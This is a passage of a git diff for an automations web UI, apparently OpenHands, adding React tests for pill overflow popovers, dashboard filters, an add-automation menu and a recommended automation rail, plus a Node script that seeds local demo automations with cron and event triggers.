.closest('[data-testid="skill-triggers-test-wrap"]') + ?.querySelector('[aria-hidden="true"]') as HTMLElement; + Array.from(measure.children).forEach((child) => { + Object.defineProperty(child, "offsetWidth", { + configurable: true, + get: () => pillWidth, + }); + }); + + act(() => { + for (const cb of observedCallbacks) { + cb([], {} as ResizeObserver); + } + }); + } - render( - Trigger-based, - }, - { - id: "trigger-ssh", - node: ssh, - }, - ]} - />, + const pills = [ + { + id: "event-trigger", + node: ( + + pull_request_review_comment.created (github) + + ), + }, + { + id: "model", + node: review-fast, + }, + ]; + + it("keeps pills on a single nowrap row with overflow handling", () => { + renderWithProviders( + , ); const row = screen.getByTestId("skill-triggers-test"); @@ -37,4 +85,111 @@ describe("SkillCardPillRow", () => { expect(row).toHaveClass("overflow-hidden"); expect(row).not.toHaveClass("flex-wrap"); }); + + it("folds pills that do not fit into a +N popover", async () => { + const user = userEvent.setup(); + renderWithProviders( + , + ); + + // Wide enough for one 80px pill + overflow reserve, not two. + stubWidths(130, 80); + + await waitFor(() => { + expect( + screen.getByTestId("skill-triggers-test-overflow"), + ).toBeInTheDocument(); + }); + + expect(screen.getByTestId("skill-triggers-test")).toHaveTextContent( + "pull_request_review_comment.created (github)", + ); + expect(screen.getByTestId("skill-triggers-test")).not.toHaveTextContent( + "review-fast", + ); + + const overflow = screen.getByTestId("skill-triggers-test-overflow"); + expect(overflow).toHaveAttribute( + "aria-label", + "SETTINGS$SKILLS_PILLS_OVERFLOW_ARIA", + ); + + await user.click(overflow); + + const popover = screen.getByTestId("skill-triggers-test-overflow-popover"); + expect(popover.parentElement).toBe(document.body); + expect( + within(popover).getByTestId("skill-triggers-test-overflow-item"), + ).toHaveTextContent("review-fast"); + }); + + it("opens the overflow popover without activating a wrapping card", async () => { + const user = userEvent.setup(); + const onActivate = vi.fn(); + + renderWithProviders( +
    { + if (event.key === "Enter") onActivate(); + }} + > + +
    , + ); + + stubWidths(130, 80); + + await waitFor(() => { + expect( + screen.getByTestId("skill-triggers-test-overflow"), + ).toBeInTheDocument(); + }); + + await user.click(screen.getByTestId("skill-triggers-test-overflow")); + + expect( + screen.getByTestId("skill-triggers-test-overflow-popover"), + ).toBeInTheDocument(); + expect(onActivate).not.toHaveBeenCalled(); + }); + + it("anchors the overflow popover below the +N pill", async () => { + const user = userEvent.setup(); + renderWithProviders( + , + ); + + stubWidths(130, 80); + + await waitFor(() => { + expect( + screen.getByTestId("skill-triggers-test-overflow"), + ).toBeInTheDocument(); + }); + + const overflow = screen.getByTestId("skill-triggers-test-overflow"); + vi.spyOn(overflow, "getBoundingClientRect").mockReturnValue({ + x: 200, + y: 100, + top: 100, + bottom: 118, + left: 200, + right: 236, + width: 36, + height: 18, + toJSON: () => ({}), + }); + + await user.click(overflow); + + const popover = screen.getByTestId("skill-triggers-test-overflow-popover"); + expect(popover).toHaveStyle({ + position: "fixed", + top: "122px", + left: "200px", + }); + }); }); diff --git a/__tests__/manifests/automation-insights.test.ts b/__tests__/manifests/automation-insights.test.ts index f6592f641043..a7f0dfbe3504 100644 --- a/__tests__/manifests/automation-insights.test.ts +++ b/__tests__/manifests/automation-insights.test.ts @@ -49,6 +49,7 @@ function settled(summary: Partial): RunSummaryState { summary: { total: 0, latestRun: null, + recentRuns: [], recentSuccessRate: null, averageDurationMs: null, ...summary, @@ -157,6 +158,7 @@ describe("summarizeAutomationRuns", () => { expect(summary).toEqual({ total: 40, latestRun: runs[0], + recentRuns: runs, recentSuccessRate: 0.5, averageDurationMs: (30_000 + 90_000) / 2, }); diff --git a/__tests__/routes/automations-dashboard.test.tsx b/__tests__/routes/automations-dashboard.test.tsx index 8b42a7e877e0..7f05657c7726 100644 --- a/__tests__/routes/automations-dashboard.test.tsx +++ b/__tests__/routes/automations-dashboard.test.tsx @@ -107,11 +107,10 @@ function renderAt(path: string, page: React.ReactElement) { async function renderDashboardWithSettledInsights() { renderAt("/automations", ); await screen.findByTestId("automation-card-a-ok"); - // The broken automation's badge carries the manifest's failing caption once - // its runs summary settles. + // Insights have settled once the failed run's status is on the card. await within( await screen.findByTestId("automation-card-a-broken"), - ).findByText("Broken"); + ).findByTestId("run-status-icon-failed"); } beforeEach(() => { @@ -154,9 +153,11 @@ describe("AutomationsList — manifest-declared dashboard", () => { await renderDashboardWithSettledInsights(); // Assert — navigation, tiles, and controls all carry manifest captions; - // the catalog launcher has moved off this page. + // the full catalog stays on Templates, and the compact rail is empty-state only. const nav = screen.getByTestId("automations-navbar-desktop"); const automationsTile = screen.getByTestId("overview-tile-automations"); + const filters = screen.getByTestId("automations-filters"); + await userEvent.click(within(filters).getByTestId("dropdown-trigger")); expect({ navLabels: [ within(nav).getByText("Widget dashboard"), @@ -167,11 +168,15 @@ describe("AutomationsList — manifest-declared dashboard", () => { statusFilter: screen.getByLabelText("Filter widgets by state"), sortControl: screen.getByLabelText("Order widgets"), statsCaptions: screen.getAllByText("Widget wins").length, + activity: screen.getAllByTestId(/^automation-activity-/).length, launcher: screen.queryByTestId("recommended-automations-section"), + rail: screen.queryByTestId("recommended-automations-rail"), }).toMatchObject({ navLabels: 2, statsCaptions: 2, + activity: 2, launcher: null, + rail: null, }); }); @@ -188,12 +193,100 @@ describe("AutomationsList — manifest-declared dashboard", () => { ]); }); + it("nests status, trigger, and sort dropdowns inside one Filters control", async () => { + // Arrange + const user = userEvent.setup(); + await renderDashboardWithSettledInsights(); + + // Assert — the three filters stay inside the combined menu until opened. + expect(screen.queryByTestId("automations-filter-status")).toBeNull(); + expect(screen.queryByTestId("automations-filter-trigger")).toBeNull(); + expect(screen.queryByTestId("automations-sort")).toBeNull(); + + // Act + await user.click( + within(screen.getByTestId("automations-filters")).getByTestId( + "dropdown-trigger", + ), + ); + + // Assert + expect( + within(screen.getByTestId("automations-filters-menu")).getByTestId( + "automations-filter-status", + ), + ).toBeInTheDocument(); + expect( + within(screen.getByTestId("automations-filters-menu")).getByTestId( + "automations-filter-trigger", + ), + ).toBeInTheDocument(); + expect( + within(screen.getByTestId("automations-filters-menu")).getByTestId( + "automations-sort", + ), + ).toBeInTheDocument(); + expect( + within(screen.getByTestId("automations-filters-menu")).getByText( + "Filter widgets by state", + ), + ).toBeInTheDocument(); + expect( + within(screen.getByTestId("automations-filters-menu")).getByText( + "Filter widgets by trigger", + ), + ).toBeInTheDocument(); + expect( + within(screen.getByTestId("automations-filters-menu")).getByText( + "Order widgets", + ), + ).toBeInTheDocument(); + expect( + screen.queryByTestId("automations-filters-reset"), + ).not.toBeInTheDocument(); + }); + + it("resets applied filters from the Filters menu", async () => { + // Arrange + const user = userEvent.setup(); + await renderDashboardWithSettledInsights(); + await user.click( + within(screen.getByTestId("automations-filters")).getByTestId( + "dropdown-trigger", + ), + ); + await user.click( + within(screen.getByTestId("automations-filter-status")).getByTestId( + "dropdown-trigger", + ), + ); + await user.click(screen.getByTestId("automations-filter-status-failing")); + await waitFor(() => { + expect(screen.queryByTestId("automation-card-a-ok")).toBeNull(); + }); + + // Act + await user.click(screen.getByTestId("automations-filters-reset")); + + // Assert + await screen.findByTestId("automation-card-a-ok"); + expect(screen.getByTestId("automation-card-a-broken")).toBeInTheDocument(); + expect( + screen.queryByTestId("automations-filters-reset"), + ).not.toBeInTheDocument(); + }); + it("narrows to latest-run failures through the status filter", async () => { // Arrange const user = userEvent.setup(); await renderDashboardWithSettledInsights(); - // Act — pick the manifest's "failing" option. + // Act — open Filters, then pick the manifest's "failing" option. + await user.click( + within(screen.getByTestId("automations-filters")).getByTestId( + "dropdown-trigger", + ), + ); await user.click( within(screen.getByTestId("automations-filter-status")).getByTestId( "dropdown-trigger", diff --git a/__tests__/routes/automations-list.test.tsx b/__tests__/routes/automations-list.test.tsx index 90e9cc003a12..99293ac506d7 100644 --- a/__tests__/routes/automations-list.test.tsx +++ b/__tests__/routes/automations-list.test.tsx @@ -1,6 +1,6 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import React from "react"; -import { render, screen, waitFor } from "@testing-library/react"; +import { render, screen, waitFor, within } from "@testing-library/react"; import userEvent from "@testing-library/user-event"; import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; import { MemoryRouter } from "react-router"; @@ -22,6 +22,7 @@ import { type Automation, type AutomationsResponse, } from "#/types/automation"; +import { AUTOMATION_STACK_SECTION_BOTTOM_CLASS } from "#/utils/automation-stack-section"; vi.mock("#/api/automation-service/automation-service.api", () => ({ default: { @@ -161,7 +162,7 @@ describe("AutomationsList — Edit from the row kebab is local-only", () => { }); describe("AutomationsList — view mode toggle", () => { - it("switches saved automations from cards to table rows", async () => { + it("switches saved automations from cards to list rows", async () => { const user = userEvent.setup(); renderList(); await waitFor(() => { @@ -205,6 +206,24 @@ describe("AutomationsList — view mode toggle", () => { screen.queryByTestId("automations-view-toggle-list"), ).not.toBeInTheDocument(); }); + + it("keeps the recommended rail inside the empty state instead of above it", async () => { + vi.mocked(AutomationService.getAutomations).mockResolvedValue({ + automations: [], + total: 0, + }); + renderList(); + + const empty = await screen.findByTestId("automations-empty"); + const rail = await within(empty).findByTestId( + "recommended-automations-rail", + ); + expect(rail).toBeInTheDocument(); + expect(rail).not.toHaveClass(AUTOMATION_STACK_SECTION_BOTTOM_CLASS); + expect(screen.getAllByTestId("recommended-automations-rail")).toHaveLength( + 1, + ); + }); }); describe("AutomationsList — Run now toasts", () => { @@ -340,6 +359,49 @@ describe("AutomationsList — Run now toasts", () => { }); }); +describe("AutomationsList — add automation menu", () => { + it("opens create and import from the Add Automation dropdown", async () => { + const user = userEvent.setup(); + renderList(); + await screen.findByText(automation.name); + + const addTrigger = screen.getByTestId("automations-add-automation"); + expect(addTrigger).toHaveClass("bg-base-secondary"); + expect( + screen.queryByTestId("automations-import-automation"), + ).not.toBeInTheDocument(); + + await user.click(addTrigger); + expect(screen.getByTestId("automations-add-automation-menu")).not.toHaveClass( + "mt-2", + ); + expect( + screen.getByTestId("automations-import-automation"), + ).toBeInTheDocument(); + + await user.click(screen.getByTestId("automations-add-automation-create")); + expect(screen.getByTestId("add-automation-modal")).toBeInTheDocument(); + }); + + it("opens the import picker from the Add Automation menu", async () => { + const user = userEvent.setup(); + renderList(); + await screen.findByText(automation.name); + + await user.click(screen.getByTestId("automations-add-automation")); + await user.click(screen.getByTestId("automations-import-automation")); + + const modal = screen.getByTestId("import-automation-modal"); + expect(modal).toHaveAttribute("data-view", "picker"); + expect( + screen.getByTestId("import-automation-dropzone"), + ).toBeInTheDocument(); + expect( + screen.getByTestId("import-automation-choose-file"), + ).toBeInTheDocument(); + }); +}); + describe("AutomationsList — list freshness on remount", () => { it("surfaces automations created since the last visit without a manual refresh", async () => { // Arrange — share a QueryClient across two mounts to simulate the user diff --git a/__tests__/routes/automations-subpages-absent.test.tsx b/__tests__/routes/automations-subpages-absent.test.tsx index 30fb0cd58a85..245b0e994f10 100644 --- a/__tests__/routes/automations-subpages-absent.test.tsx +++ b/__tests__/routes/automations-subpages-absent.test.tsx @@ -105,7 +105,7 @@ describe("an interface manifest that declares no sub-page surface", () => { expect({ nav: screen.queryByTestId("automations-navbar-desktop"), tile: screen.queryByTestId("overview-tile-automations"), - statusFilter: screen.queryByTestId("automations-filter-status"), + statusFilter: screen.queryByTestId("automations-filters"), launcher: await screen.findByTestId("recommended-automations-section"), }).toMatchObject({ nav: null, tile: null, statusFilter: null }); }); diff --git a/__tests__/utils/extension-module-card-classes.test.ts b/__tests__/utils/extension-module-card-classes.test.ts index b5a219a69c0f..91fbfd09d4a2 100644 --- a/__tests__/utils/extension-module-card-classes.test.ts +++ b/__tests__/utils/extension-module-card-classes.test.ts @@ -5,6 +5,7 @@ import { extensionModuleCardGridClassName, extensionModuleCardGridContainerClassName, extensionModuleCardInteractiveClassName, + extensionModuleCardPillClassName, extensionModuleCardSurfaceClassName, } from "#/utils/extension-module-card-classes"; @@ -25,6 +26,12 @@ describe("extensionModuleCardSurface class", () => { }); }); +describe("extensionModuleCardPill class", () => { + it("omits an outline so chips stay fill-only", () => { + expect(extensionModuleCardPillClassName).not.toContain("border"); + }); +}); + describe("extensionModuleCardGrid classes", () => { it("uses a container query breakpoint at 600px column width", () => { expect(EXTENSION_MODULE_CARD_GRID_SINGLE_COLUMN_MAX_PX).toBe(599); diff --git a/__tests__/utils/recommended-automation-rail.test.ts b/__tests__/utils/recommended-automation-rail.test.ts new file mode 100644 index 000000000000..50243f46b4a6 --- /dev/null +++ b/__tests__/utils/recommended-automation-rail.test.ts @@ -0,0 +1,92 @@ +import { describe, expect, it } from "vitest"; +import { AUTOMATION_CATALOG } from "@openhands/extensions/automations"; +import { SETUP_REGISTRY } from "#/manifests/manifest-sources"; +import { + flattenRecommendedRailGroups, + getRecommendedRailGroups, + isCatalogAutomationAdded, + isConversationLaunchAutomation, + normalizeAutomationKey, +} from "#/utils/recommended-automation-rail"; + +const prReviewer = AUTOMATION_CATALOG.find( + (entry) => entry.id === "github-pr-reviewer", +)!; +const slackStandup = AUTOMATION_CATALOG.find( + (entry) => entry.id === "slack-standup-digest", +)!; +const upstreamFork = AUTOMATION_CATALOG.find( + (entry) => entry.id === "upstream-fork-sync", +)!; + +describe("recommended automation rail", () => { + it("normalizes catalog ids and human titles to the same key", () => { + expect(normalizeAutomationKey("GitHub Code Review Agent")).toBe( + "github-code-review-agent", + ); + expect(normalizeAutomationKey(" slack-standup-digest ")).toBe( + "slack-standup-digest", + ); + }); + + it("treats an installed automation as added when the name matches id, title, or skill", () => { + expect( + isCatalogAutomationAdded(prReviewer, [ + { name: "GitHub Code Review Agent" }, + ]), + ).toBe(true); + expect( + isCatalogAutomationAdded(prReviewer, [{ name: "github-pr-reviewer" }]), + ).toBe(true); + expect( + isCatalogAutomationAdded(slackStandup, [{ name: "Daily digest" }]), + ).toBe(false); + }); + + it("keeps proven workflows first and drops ones that have already been added", () => { + const groups = getRecommendedRailGroups([ + { name: "GitHub Code Review Agent" }, + ]); + + expect(groups.proven.map((entry) => entry.id)).toEqual([ + "github-repo-monitor", + "slack-channel-monitor", + ]); + }); + + it("appends other useful automations that open in a new conversation", () => { + const groups = getRecommendedRailGroups([]); + const conversationIds = groups.conversation.map((entry) => entry.id); + + expect(groups.proven.map((entry) => entry.id)).toEqual([ + "github-pr-reviewer", + "github-repo-monitor", + "slack-channel-monitor", + ]); + expect(conversationIds).toEqual([ + "slack-standup-digest", + "linear-triage-assistant", + "jira-issue-to-pr", + "research-brief-writer", + ]); + expect(conversationIds).not.toContain("upstream-fork-sync"); + expect(conversationIds).not.toContain("incident-retrospective-drafter"); + expect(isConversationLaunchAutomation(slackStandup)).toBe(true); + expect(isConversationLaunchAutomation(upstreamFork)).toBe(false); + expect(SETUP_REGISTRY.findById(upstreamFork.id)).not.toBeNull(); + }); + + it("returns an empty rail when every recommended automation has been added", () => { + const groups = getRecommendedRailGroups([ + { name: "GitHub Code Review Agent" }, + { name: "GitHub repository monitor" }, + { name: "Slack channel monitor" }, + { name: "Slack standup digest" }, + { name: "Linear issue triage assistant" }, + { name: "Jira issue to GitHub PR" }, + { name: "Research brief writer" }, + ]); + + expect(flattenRecommendedRailGroups(groups)).toEqual([]); + }); +}); diff --git a/scripts/seed-automation-ux-data.mjs b/scripts/seed-automation-ux-data.mjs new file mode 100644 index 000000000000..a08e7ac835af --- /dev/null +++ b/scripts/seed-automation-ux-data.mjs @@ -0,0 +1,810 @@ +#!/usr/bin/env node +/** + * Seed local automation UX data (list, filters, detail, run history). + * + * Usage: + * node scripts/seed-automation-ux-data.mjs + * + * Env: + * AUTOMATION_BASE_URL Ingress origin (default http://localhost:8100) + * SESSION_API_KEY X-Session-API-Key (default ~/.openhands/agent-canvas/api-key.txt) + * AUTOMATION_DB SQLite path (default .tmp/automation/automations.db) + */ + +import { execFileSync } from "node:child_process"; +import { readFileSync } from "node:fs"; +import { homedir } from "node:os"; +import { dirname, join, resolve } from "node:path"; +import { fileURLToPath } from "node:url"; +import { randomUUID } from "node:crypto"; + +const __dirname = dirname(fileURLToPath(import.meta.url)); +const repoRoot = resolve(__dirname, ".."); + +const BASE_URL = ( + process.env.AUTOMATION_BASE_URL || "http://localhost:8100" +).replace(/\/$/, ""); +const DB_PATH = + process.env.AUTOMATION_DB || + join(repoRoot, ".tmp/automation/automations.db"); +const API_KEY = + process.env.SESSION_API_KEY || + readFileSync( + join(homedir(), ".openhands/agent-canvas/api-key.txt"), + "utf8", + ).trim(); + +const hoursAgo = (hours) => new Date(Date.now() - hours * 3_600_000); + +const SEEDS = [ + { + name: "PR Triage Digest", + prompt: + "Review newly opened pull requests in acme/frontend-app, identify risky changes, summarize likely impact, and prepare a concise digest with priority ordering for the engineering review channel.", + model: "triage-fast", + timeout: 600, + enabled: true, + repos: [{ url: "acme/frontend-app", ref: "main", provider: "github" }], + trigger: { + type: "cron", + schedule: "0 9 * * 1-5", + timezone: "America/Los_Angeles", + }, + scheduleHuman: "Weekdays at 09:00", + lastTriggeredHoursAgo: 2, + runs: [ + ["COMPLETED", 2, 0.42], + ["COMPLETED", 26, 0.38], + ["FAILED", 50, 0.11], + ["COMPLETED", 74, 0.41], + ["COMPLETED", 98, 0.36], + ["COMPLETED", 170, 0.4], + ["FAILED", 194, 0.09], + ["COMPLETED", 218, 0.37], + ["COMPLETED", 242, 0.39], + ["COMPLETED", 266, 0.35], + ], + }, + { + name: "Nightly Security Pass", + prompt: + "Scan the acme/backend-api repository for known security vulnerabilities, outdated dependencies, and insecure code patterns. Produce a prioritized remediation summary.", + model: "security-careful", + timeout: 900, + enabled: true, + repos: [{ url: "acme/backend-api", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "30 1 * * *", timezone: "UTC" }, + scheduleHuman: "Daily at 01:30", + lastTriggeredHoursAgo: 8, + runs: [ + ["COMPLETED", 8, 1.12], + ["COMPLETED", 32, 1.05], + ["COMPLETED", 56, 0.98], + ["FAILED", 80, 0.22], + ["COMPLETED", 104, 1.08], + ], + }, + { + name: "Docs Sync on Push", + prompt: + "Monitor acme/docs for new pushes. For each push, generate a changelog-ready summary of what changed and why.", + model: "docs-fast", + enabled: true, + repos: [{ url: "acme/docs", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "*/15 * * * *", timezone: "America/New_York" }, + scheduleHuman: "Every 15 minutes", + lastTriggeredHoursAgo: 1, + runs: [ + ["COMPLETED", 1, 0.08], + ["CANCELLED", 18, null], + ["SKIPPED", 42, null], + ], + }, + { + name: "Release Readiness Review", + prompt: + "Compile a release readiness report: list open blockers, active incidents, and pending approvals for acme/realtime-service.", + model: "release-review", + enabled: false, + repos: [{ url: "acme/realtime-service", ref: "release", provider: "github" }], + trigger: { type: "cron", schedule: "0 11 * * 5", timezone: "America/Chicago" }, + scheduleHuman: "Fridays at 11:00", + lastTriggeredHoursAgo: 14 * 24, + runs: [ + ["FAILED", 14 * 24, null], + ["COMPLETED", 21 * 24, 0.67], + ], + }, + { + name: "Incident Webhook Summary", + prompt: + "Summarize incoming incident webhooks, categorize by severity, and post a digest to the on-call Slack channel.", + model: "incident-summary", + enabled: false, + repos: [{ url: "acme/incident-service", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "0 */2 * * *", timezone: "UTC" }, + scheduleHuman: "Every 2 hours", + lastTriggeredHoursAgo: null, + runs: [], + }, + { + name: "PR Review on Open", + prompt: + "When a new PR is opened, perform a thorough code review focusing on correctness, security, and performance. Post findings as inline comments.", + model: "review-fast", + timeout: 1800, + enabled: true, + repos: [{ url: "acme/frontend-app", ref: "main", provider: "github" }], + trigger: { + type: "event", + source: "github", + on: "pull_request.opened", + filter: "repository.full_name == 'acme/frontend-app'", + }, + lastTriggeredHoursAgo: 3, + runs: [ + ["COMPLETED", 3, 0.88], + ["COMPLETED", 6, 0.79], + ["FAILED", 20, 0.15], + ["COMPLETED", 44, 0.81], + ["COMPLETED", 68, 0.74], + ], + }, + { + name: "Release Notes Generator", + prompt: + "Generate comprehensive release notes from the commits since the last release. Include breaking changes, new features, and bug fixes.", + model: "docs-fast", + enabled: true, + repos: [{ url: "acme/backend-api", ref: "main", provider: "github" }], + trigger: { + type: "event", + source: "github", + on: "release.published", + filter: "glob(release.tag_name, 'v*') && !release.prerelease", + }, + lastTriggeredHoursAgo: 72, + runs: [ + ["COMPLETED", 72, 0.54], + ["COMPLETED", 240, 0.61], + ], + }, + { + name: "Weekly Standup Digest", + prompt: + "Collect merged PRs, open incidents, and Linear tickets moved this week. Draft a standup digest for #eng-standup.", + model: "standup-fast", + enabled: true, + repos: [{ url: "acme/frontend-app", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "0 9 * * 1", timezone: "America/Los_Angeles" }, + scheduleHuman: "Mondays at 09:00", + lastTriggeredHoursAgo: 0.25, + running: true, + runs: [ + ["COMPLETED", 168, 0.29], + ["COMPLETED", 336, 0.31], + ["COMPLETED", 504, 0.27], + ], + }, + { + name: "Slack Channel Monitor", + prompt: + "Watch #support for customer-reported regressions. When a thread looks like a product bug, file a Linear issue and link the Slack thread.", + model: "support-fast", + enabled: true, + trigger: { + type: "event", + source: "slack", + on: "message.channels", + filter: "icontains(text, 'bug') || icontains(text, 'broken')", + }, + lastTriggeredHoursAgo: 5, + runs: [ + ["COMPLETED", 5, 0.19], + ["COMPLETED", 12, 0.16], + ["SKIPPED", 29, null], + ["COMPLETED", 53, 0.21], + ], + }, + { + name: "Dependabot Triage", + prompt: + "Review Dependabot PRs, group safe version bumps, and flag breaking major upgrades that need a human owner.", + model: "triage-fast", + enabled: true, + repos: [{ url: "acme/backend-api", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "0 8 * * 1-5", timezone: "UTC" }, + scheduleHuman: "Weekdays at 08:00", + lastTriggeredHoursAgo: 4, + runs: [ + ["FAILED", 4, 0.07], + ["FAILED", 28, 0.06], + ["COMPLETED", 52, 0.33], + ["FAILED", 76, 0.05], + ], + }, + { + name: "Stale PR Nudge", + prompt: + "Find pull requests in acme/frontend-app that have had no review activity for 5 days. Post a polite nudge on the PR and summarize owners in #eng-reviews.", + model: "triage-fast", + enabled: true, + repos: [{ url: "acme/frontend-app", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "0 10 * * 1-5", timezone: "America/Los_Angeles" }, + scheduleHuman: "Weekdays at 10:00", + lastTriggeredHoursAgo: 6, + runs: [ + ["COMPLETED", 6, 0.14], + ["COMPLETED", 30, 0.12], + ["COMPLETED", 54, 0.16], + ["SKIPPED", 78, null], + ], + }, + { + name: "Flaky Test Hunter", + prompt: + "Analyze the last 48 hours of CI on acme/frontend-app. Identify flaky tests, group by file, and open or update a tracking issue with reproduction hints.", + model: "careful", + timeout: 1200, + enabled: true, + repos: [{ url: "acme/frontend-app", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "0 7 * * *", timezone: "UTC" }, + scheduleHuman: "Daily at 07:00", + lastTriggeredHoursAgo: 9, + runs: [ + ["COMPLETED", 9, 1.44], + ["FAILED", 33, 0.28], + ["COMPLETED", 57, 1.31], + ["COMPLETED", 81, 1.22], + ], + }, + { + name: "License Compliance Sweep", + prompt: + "Scan acme/backend-api dependencies for GPL or unknown licenses. Produce a table of new findings since the last run.", + model: "security-careful", + enabled: true, + repos: [{ url: "acme/backend-api", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "0 3 * * 1", timezone: "UTC" }, + scheduleHuman: "Mondays at 03:00", + lastTriggeredHoursAgo: 20, + runs: [ + ["COMPLETED", 20, 0.77], + ["COMPLETED", 188, 0.81], + ], + }, + { + name: "Changelog Drafter", + prompt: + "Draft this week's changelog for acme/docs from merged PRs labeled feature, fix, or breaking.", + model: "docs-fast", + enabled: true, + repos: [{ url: "acme/docs", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "0 16 * * 5", timezone: "America/New_York" }, + scheduleHuman: "Fridays at 16:00", + lastTriggeredHoursAgo: 48, + runs: [ + ["COMPLETED", 48, 0.24], + ["COMPLETED", 216, 0.22], + ["CANCELLED", 384, null], + ], + }, + { + name: "Broken Link Checker", + prompt: + "Crawl published docs in acme/docs, report broken internal and external links, and file issues for anything older than 7 days.", + model: "docs-fast", + enabled: false, + repos: [{ url: "acme/docs", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "0 4 * * 0", timezone: "UTC" }, + scheduleHuman: "Sundays at 04:00", + lastTriggeredHoursAgo: 36, + runs: [ + ["FAILED", 36, null], + ["COMPLETED", 204, 0.45], + ], + }, + { + name: "Onboarding Buddy", + prompt: + "When a new engineer is added to the org, generate a first-week checklist from acme/handbook and post it to their Slack DM.", + model: "standup-fast", + enabled: true, + repos: [{ url: "acme/handbook", ref: "main", provider: "github" }], + trigger: { + type: "event", + source: "github", + on: "membership.added", + filter: "team.name == 'engineering'", + }, + lastTriggeredHoursAgo: 96, + runs: [ + ["COMPLETED", 96, 0.18], + ], + }, + { + name: "Issue to Draft PR", + prompt: + "When a Linear issue is labeled 'ready-for-agent', create a draft PR in the linked repo with a first-pass implementation and a test plan.", + model: "careful", + timeout: 1800, + enabled: true, + repos: [{ url: "acme/backend-api", ref: "main", provider: "github" }], + trigger: { + type: "event", + source: "linear", + on: "issue.updated", + filter: "contains(labels, 'ready-for-agent')", + }, + lastTriggeredHoursAgo: 11, + running: true, + runs: [ + ["COMPLETED", 35, 2.18], + ["FAILED", 59, 0.41], + ["COMPLETED", 110, 1.96], + ], + }, + { + name: "CI Failure Autopsy", + prompt: + "When a GitHub check suite fails on main, summarize the failing jobs, likely root cause, and whether this looks flaky or a real regression.", + model: "careful", + enabled: true, + repos: [{ url: "acme/frontend-app", ref: "main", provider: "github" }], + trigger: { + type: "event", + source: "github", + on: "check_suite.completed", + filter: "check_suite.conclusion == 'failure' && check_suite.head_branch == 'main'", + }, + lastTriggeredHoursAgo: 1.5, + runs: [ + ["COMPLETED", 1.5, 0.52], + ["COMPLETED", 7, 0.48], + ["FAILED", 14, 0.19], + ["COMPLETED", 22, 0.55], + ["COMPLETED", 31, 0.47], + ], + }, + { + name: "Push Changelog Ping", + prompt: + "On every push to main in acme/docs, post a 3-bullet summary to #docs-updates.", + model: "docs-fast", + enabled: true, + repos: [{ url: "acme/docs", ref: "main", provider: "github" }], + trigger: { + type: "event", + source: "github", + on: "push", + filter: "ref == 'refs/heads/main'", + }, + lastTriggeredHoursAgo: 0.8, + runs: [ + ["COMPLETED", 0.8, 0.06], + ["COMPLETED", 3.2, 0.05], + ["SKIPPED", 5, null], + ["COMPLETED", 9, 0.07], + ["COMPLETED", 14, 0.06], + ], + }, + { + name: "Review Comment Resolver", + prompt: + "When a reviewer leaves a comment containing '@openhands please fix', apply the requested change and reply with a summary of the edit.", + model: "review-fast", + timeout: 1500, + enabled: true, + repos: [{ url: "acme/frontend-app", ref: "main", provider: "github" }], + trigger: { + type: "event", + source: "github", + on: "pull_request_review_comment.created", + filter: "icontains(comment.body, '@openhands please fix')", + }, + lastTriggeredHoursAgo: 7, + runs: [ + ["COMPLETED", 7, 0.63], + ["COMPLETED", 19, 0.71], + ["CANCELLED", 27, null], + ], + }, + { + name: "Jira Bug to Repro", + prompt: + "When a Jira bug is moved to Ready, clone the linked repo, write a failing reproduction test, and attach the patch to the ticket.", + model: "careful", + enabled: false, + repos: [{ url: "acme/realtime-service", ref: "main", provider: "github" }], + trigger: { + type: "event", + source: "jira", + on: "issue.updated", + filter: "fields.status.name == 'Ready' && fields.issuetype.name == 'Bug'", + }, + lastTriggeredHoursAgo: 60, + runs: [ + ["FAILED", 60, 0.33], + ], + }, + { + name: "Monthly Cost Report", + prompt: + "Summarize last month's LLM spend by automation, highlight outliers, and recommend timeouts or model changes.", + model: "standup-fast", + enabled: true, + trigger: { type: "cron", schedule: "0 9 1 * *", timezone: "America/Los_Angeles" }, + scheduleHuman: "1st of the month at 09:00", + lastTriggeredHoursAgo: 240, + runs: [ + ["COMPLETED", 240, 0.31], + ["COMPLETED", 960, 0.28], + ], + }, + { + name: "Weekend On-call Brief", + prompt: + "Friday afternoon: compile open Sev-1/Sev-2 incidents, recent deploys, and a rollback cheat sheet for the weekend on-call.", + model: "incident-summary", + enabled: true, + repos: [{ url: "acme/incident-service", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "0 16 * * 5", timezone: "America/Los_Angeles" }, + scheduleHuman: "Fridays at 16:00", + lastTriggeredHoursAgo: 50, + runs: [ + ["COMPLETED", 50, 0.39], + ["COMPLETED", 218, 0.41], + ["COMPLETED", 386, 0.36], + ], + }, + { + name: "i18n Drift Check", + prompt: + "Compare src/i18n/translation.json keys against English source strings. List missing translations and unused keys.", + model: "docs-fast", + enabled: true, + repos: [{ url: "acme/frontend-app", ref: "main", provider: "github" }], + trigger: { type: "cron", schedule: "30 6 * * 1-5", timezone: "UTC" }, + scheduleHuman: "Weekdays at 06:30", + lastTriggeredHoursAgo: 12, + runs: [ + ["COMPLETED", 12, 0.17], + ["COMPLETED", 36, 0.15], + ["FAILED", 60, 0.04], + ["COMPLETED", 84, 0.16], + ], + }, + { + name: "Coverage Gate Watcher", + prompt: + "If a PR drops line coverage by more than 1%, comment with the files responsible and suggested tests.", + model: "review-fast", + enabled: true, + repos: [{ url: "acme/backend-api", ref: "main", provider: "github" }], + trigger: { + type: "event", + source: "github", + on: "pull_request.synchronize", + filter: "repository.full_name == 'acme/backend-api'", + }, + lastTriggeredHoursAgo: 4.5, + runs: [ + ["COMPLETED", 4.5, 0.27], + ["SKIPPED", 8, null], + ["COMPLETED", 16, 0.29], + ["COMPLETED", 28, 0.25], + ], + }, + { + name: "Draft PR Reminder", + prompt: + "Find draft PRs older than 10 days. Ask the author if they still intend to ship, and close with a comment if they agree.", + model: "triage-fast", + enabled: false, + repos: [{ url: "acme/frontend-app", ref: "main", provider: "github" }], + trigger: { type: "cron", 